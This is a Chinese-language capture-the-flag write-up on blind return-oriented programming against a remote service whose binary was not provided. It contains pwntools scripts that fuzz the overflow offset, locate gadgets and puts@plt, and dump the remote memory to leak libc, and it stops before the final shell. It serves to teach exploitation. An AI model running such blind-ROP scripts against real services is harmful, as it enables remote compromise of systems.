2016Hctf-setter is missing

一道没有给二进制文件的pwn题......

Posted by Carter on December 3, 2016

一. 题目描述:

题目只给了一个IP地址和端口,并没有给二进制程序,第一次遇到这类型的题目,感觉很有挑战性

题目提示输入password,输入后会显示’No password,no game’字段,然后循环不断地让你输入 图片 另外主办方提示: 1. 这道题没有必要爆破密码 2. 发送的数据量不要超过0x100个

二. 思路探究:

既然是Blind-fuzz,感觉题目本身不会太难,估计就是一个简单的栈溢出利用。既然如此,程序保护机制中:栈保护「Canary」、代码段随机化「PIE」都不可能开启。下面就来逐步进行我们的fuzz:

1.根据题目提示和分析,模仿题目实现了一段代码

代码如下:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int check();
int main()
{
	while(1==1)
	{
		puts("Welcome my friend,Do you know password?\n");
		if(check())
		{
			puts("Congratulation\n");
			break;
		}
		else
		{
			puts("No password, no game\n");
		}
	}
	return 0;
}

int check()
{
	setbuf(stdout, 0);
	char buf[50];
	memset(buf, 0, sizeof(buf));
	read(0, buf, 1024);
	if(!strcmp(buf, "password\n"))
	   return 1;
	return 0;
}

2. 通过fuzz确定:使栈溢出需要输入字符的长度

代码如下:

from pwn import *
context.log_level = 'debug'
def exp1():
    io = remote('115.28.78.54', 13455)
    io.recvuntil('token:')
    io.sendline('b66888c818c08d932ea91b8d6a1f122c2y7ZAdbh')
    for i in range(0,256,4):
        payload = 'a'*i
        io.recvuntil('WelCome my friend,Do you know password?')
        io.sendline(payload)
        content  = io.recvlines(10,timeout=1)
        print "i=%d   %s"%(i,content)
    io.interactive()

exp1()

结果如下图,可以看到当payload的长度为72时,程序不输出’No password,no game’ 图片 分析:当输入payload长度为72时,栈溢出函数的EBP被覆盖为无效地址,当函数返回时读取EBP内容无效从而程序崩溃退出,所以未能继续执行输出’No password,no game’。因此覆盖到返回地址之前,需要的payload长度为72。

3. 通过fuzz找到:一些关键的返回地址

代码如下:

from pwn import *

context.log_level = 'debug'
def exp1():
    io = remote('115.28.78.54', 13455)
    io.recvuntil('token:')
    io.sendline('b66888c818c08d932ea91b8d6a1f122c2y7ZAdbh')
    base = 0x400000
    for offset in range(0,0x1000):
        addr =  base+offset
        payload = 'a'*72 + p64(base+offset)
        io.recvuntil('WelCome my friend,Do you know password?')
        io.sendline(payload)
        content  = io.recvlines(10,timeout=1)
        print "ret_addr=%s   %s"%(hex(addr),content)
    io.interactive()

exp1()

发现在0x400700附近,出现了如下图所示的异常: 图片

  • 0x40070c –> 什么都没有收到的情况是因为:返回到了某个需要参数输入的函数,正在等待参数输入
  • 0x400711 –> 打印出’No password,no game’的情况是因为:又返回到了主函数内,从新进行了一遍主函数

得出结论:函数的主代码段就在0x400700附近,因此可以大大缩小了fuzz的范围。0x400711是一个位于主函数中地址,返回到该地址可以成功的输出’No password,no game’

4. 找到’pop rdi,ret’的地址

因为是64位程序,要利用最取巧的方法就是找到’pop rdi,ret’的地址,接下来就通过fuzz找到该地址。

在64bit程序中,通常存在一个’pop r15;ret’,对应的字节码为’41 5f c3’,后两字节码’5f c3’对应的汇编为’pop rdi;ret’。当一个地址满足如下三个payload都能正常打印’NO password,no game’时,就可以得到一个’pop rdi;ret’的地址。

Payload1 = 'a'*72 + p64(addr-1)+p64(0)+p64(0x400711)       #pop r15,ret
Payload2 = 'a'*72 + p64(addr)+p64(0)+p64(0x400711)         #pop rdi,ret
Payload3 = 'a'*72 + p64(addr+1) +p64(0x400711)             #ret

fuzz代码如下:

from pwn import *
context.log_level = 'debug'
def exp1():
    io = remote('115.28.78.54', 13455)
    io.recvuntil('token:')
    io.sendline('b66888c818c08d932ea91b8d6a1f122c2y7ZAdbh')
    base = 0x400000
    for i in range(0x7c0,0x1000):
        payload1 = 'a'*72+p64(0x0400000+i-1)+p64(0)+p64(0x400711)
        payload2 = 'a'*72+p64(0x0400000+i)+p64(0)+p64(0x400711)
        payload3 = 'a'*72+p64(0x0400000+i+1)+p64(0x400711)
        print 'i='+hex(base+i)
        io.recvuntil('WelCome my friend,Do you know password?')
        io.sendline(payload1)
        print io.recvlines(10,timeout=1)
        io.recvuntil('WelCome my friend,Do you know password?')
        io.sendline(payload2)
        print io.recvlines(10,timeout=1)
        io.recvuntil('WelCome my friend,Do you know password?')
        io.sendline(payload3)
        print io.recvlines(10,timeout=1)

    io.interactive()
exp1()

经过测试发现了0x4007c3这个地址满足以上三个条件,得到0x4007c3地址就是一个’pop rdi,ret’地址 图片

5. 寻找输出函数的地址

接下来需要找到有输出功能函数(如puts)的plt表的地址,构造:

payload = 'a'*72 + p64(pop_rdi_ret) +p64(0x400000)+p64(addr)

如果程序打印前4个字节为’\x7fELF’,则addr为puts_plt

from pwn import *
context.log_level = 'debug'
def exp1():
    io = remote('115.28.78.54', 13455)
    io.recvuntil('token:')
    io.sendline('b66888c818c08d932ea91b8d6a1f122c2y7ZAdbh')
    base = 0x400000
    pop_rdi_ret = 0x4007c3

    for offset in range(0x500,0x1000):
        addr = base + offset
        payload = 'a'*72+p64(pop_rdi_ret)+p64(0x0400000)+p64(addr)
        io.recvuntil('WelCome my friend,Do you know password?')
        io.sendline(payload)
        
    io.interactive()
exp1()

经过测试这样的地址不只一个,我们选其中一个:0x400570 图片

6. 泄露内存

现在我们知道了 0x4007c3是’pop rdi,ret’,0x400570是puts函数的plt表地址,综合起来也就可以完成任意内存泄露的效果。

我们泄露程序的代码段内存(0x0400000-0x0401000,大小随意)和程序数据段内存(0x601000-0x602000,大小随意)

from pwn import *
 
debug=0
local=0
context.log_level='debug'
 
def exp4():
#---------------------init args
    if local:
        puts_plt=0x400530
        pop_rdi_ret=0x4007a3
        main_addr=0x400696
    else:
        puts_plt=0x400571
        pop_rdi_ret=0x4007c3
        main_addr=0x4006bd
 
    if debug:
        io=process('./test')
        gdb.attach(pidof('test')[-1],open('aa'))
    else:
        if local:
            io=remote('127.0.0.1',2333)
        else:
            io=remote('115.28.78.54',13455)
            io.recvuntil('token:')
            io.sendline('b66888c818c08d932ea91b8d6a1f122c2y7ZAdbh')
#---------------------dump code section
    base=0x400000  
    d=''
    while True:
        print'd='+d
        try:
            io.recvuntil('Do you know password?\n')
            payload='a'*72+p64(pop_rdi_ret)+p64(base+len(d))+p64(puts_plt)+p64(main_addr)
            #payload='a'*48
            io.sendline(payload)
            #io.recvline()
            d+=io.recvline()[:-1]+'\x00'
            print'**************d='+d
            if len(d)>0x9bc:
                break
        except EOFError:
            print'---------------------------------------connect again'
             
    f=open('code.bin','wb')
    f.write(d)
    f.close()
#---------------------dump date section
    base=0x601000
    d=''
    while True:
    print'd='+d
    try:
        io.recvuntil('Do you know password?\n')
        payload='a'*72+p64(pop_rdi_ret)+p64(base+len(d))+p64(puts_plt)+p64(main_addr)
        #payload='a'*48
        io.sendline(payload)
        io.recvline()
        d+=io.recvline()[:-1]+'\x00'
        print'**************d='+d
        if len(d)>0x248:
            break
        except EOFError:
            print'---------------------------------------connect again'
            io=remote('115.28.78.54',13455)
    f=open('data.bin','wb')
    f.write(d)
    f.close()
 
    io.interactive()
 
exp4()

得到code.bin后查看code.bin偏移为0x570地址的内容,该地址为0x400570,对应puts函数的plt表地址,其中应该存放的是一个’jmp *puts_got’指令。

在这里有一个技巧:随意拖一个程序到gdb,通过gdb中set命令修改0x400570内存为相应的机器码,就可以从机器码得到汇编代码了。

由下图可知:远端程序puts函数的got表地址为0x601018 图片 知道put_got表地址后,就可以从data.bin中查看0x18地址,即0x601018地址内容,此时就可以泄露puts函数的内存地址,从而可以泄露libc基址了 图片 此次,基本信息已经全部获得,下面就是常规的getshell过程了。